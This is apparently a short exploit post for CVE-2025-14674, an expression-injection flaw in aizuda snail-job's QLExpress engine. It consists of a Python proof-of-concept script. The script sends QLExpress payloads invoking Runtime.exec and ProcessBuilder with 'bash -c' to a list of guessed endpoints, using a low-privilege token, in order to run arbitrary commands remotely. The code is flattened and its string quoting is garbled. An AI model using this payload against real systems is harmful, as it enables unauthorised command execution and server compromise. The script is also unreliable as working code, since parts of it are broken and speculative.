aizuda snail-job QLExpressEngine.doEval 注入漏洞 (CVE-2025-14674)

import requests import json # CVE-2025-14674 PoC - QLExpress Engine Injection in snail-job # Target: aizuda snail-job <= 1.6.0 TARGET_URL = "http://target:8080" def exploit(target_url, command="whoami"): """ Exploit QLExpress injection via QLExpressEngine.doEval This PoC demonstrates remote code execution """ # Malicious QLExpress expression for RCE # Using QLExpress's ability to execute system commands payload = f"" Runtime.getRuntime().exec("{command}") """ # Alternative payload using ProcessBuilder alt_payload = f"" new ProcessBuilder(Arrays.asList("bash", "-c", "{command}")).start().waitFor() """ # Endpoint depends on snail-job configuration # Common endpoints for expression evaluation endpoints = [ "/api/expression/eval", "/api/job/expression", "/expression/eval", "/admin/expression/eval" ] headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } data = { "expression": payload, "type": "QLExpress" } for endpoint in endpoints: try: response = requests.post( f"{target_url}{endpoint}", headers=headers, json=data, timeout=10 ) if response.status_code == 200: print(f"[!] Success! Command executed via {endpoint}") print(f"Response: {response.text}") return True except Exception as e: continue print("[*] Exploitation failed - target may be patched or endpoint not found") return False if __name__ == "__main__": import sys cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami" exploit(TARGET_URL, cmd)